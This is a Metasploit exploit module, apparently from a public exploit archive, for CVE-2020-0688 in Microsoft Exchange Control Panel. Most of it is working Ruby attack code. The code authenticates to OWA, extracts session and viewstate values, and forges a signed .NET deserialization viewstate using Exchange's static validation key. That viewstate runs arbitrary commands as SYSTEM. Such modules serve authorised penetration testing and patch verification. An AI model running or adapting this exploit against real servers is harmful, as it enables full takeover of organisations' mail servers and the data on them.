Exchange Control Panel - Viewstate Deserialization (Metasploit)

Related Vulnerabilities: CVE-2020-0688  
Publish Date: 05 Mar 2020
Author: Metasploit
                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
  VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Exchange Control Panel Viewstate Deserialization',
        'Description'    => %q{
          This module exploits a .NET serialization vulnerability in the
          Exchange Control Panel (ECP) web page. The vulnerability is due to
          Microsoft Exchange Server not randomizing the keys on a
          per-installation basis resulting in them using the same validationKey
          and decryptionKey values. With knowledge of these, values an attacker
          can craft a special viewstate to cause an OS command to be executed
          by NT_AUTHORITY\SYSTEM using .NET deserialization.
        },
        'Author'         => 'Spencer McIntyre',
        'License'        => MSF_LICENSE,
        'References'     => [
            ['CVE', '2020-0688'],
            ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
        ],
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
            [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
            [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
          ],
        'DefaultOptions' =>
          {
            'SSL' => true
          },
        'DefaultTarget'  => 1,
        'DisclosureDate' => '2020-02-11',
        'Notes'          =>
          {
            'Stability'   => [ CRASH_SAFE, ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
            'Reliability' => [ REPEATABLE_SESSION, ],
          }
        ))

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
      OptString.new('USERNAME',  [ true, 'Username to authenticate as', '' ]),
      OptString.new('PASSWORD',  [ true, 'The password to authenticate with' ])
    ])

    register_advanced_options([
      OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
    ])
  end

  def check
    state = get_request_setup
    viewstate = state[:viewstate]
    return CheckCode::Unknown if viewstate.nil?

    viewstate = Rex::Text.decode_base64(viewstate)
    body = viewstate[0...-20]
    signature = viewstate[-20..-1]

    unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
      return CheckCode::Safe
    end

    # we've validated the signature matches based on the data we have and thus
    # proven that we are capable of signing a viewstate ourselves
    CheckCode::Vulnerable
  end

  def generate_viewstate(generator, session_id, cmd)
    viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
    signature = generate_viewstate_signature(generator, session_id, viewstate)
    Rex::Text.encode_base64(viewstate + signature)
  end

  def generate_viewstate_signature(generator, session_id, viewstate)
    mac_key_bytes  = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
    mac_key_bytes << Rex::Text.to_unicode(session_id)
    OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
  end

  def exploit
    state = get_request_setup

    # the major limit is the max length of a GET request, the command will be
    # XML escaped and then base64 encoded which both increase the size
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded, opts={state: state})
    else
      cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
      execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
    end
  end

  def execute_command(cmd, opts)
    state = opts[:state]
    viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
    5.times do |iteration|
      # this request *must* be a GET request, can't use POST to use a larger viewstate
      send_request_cgi({
        'uri'      => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
        'cookie'   => state[:cookies].join(''),
        'agent'    => state[:user_agent],
        'vars_get' => {
          '__VIEWSTATE'          => viewstate,
          '__VIEWSTATEGENERATOR' => state[:viewstate_generator]
        }
      })
      break
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
      sleep iteration
    end
  end

  def get_request_setup
    # need to use a newer default user-agent than what Metasploit currently provides
    # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
    user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
      'method'        => 'POST',
      'agent'         => user_agent,
      'vars_post'     => {
        'password'    => datastore['PASSWORD'],
        'flags'       => '4',
        'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
        'username'    => datastore['USERNAME']
      }
    })
    fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
    cookies = [res.get_cookies]

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
      'cookie' => res.get_cookies,
      'agent'  => user_agent
    })
    fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
    cookies << res.get_cookies

    viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
    if viewstate_generator.nil?
      print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
      viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
    else
      vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
    end

    viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
    if viewstate.nil?
      vprint_warning('Failed to find the __VIEWSTATE value')
    end

    session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
    if session_id.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
    end
    vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")

    {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
  end
end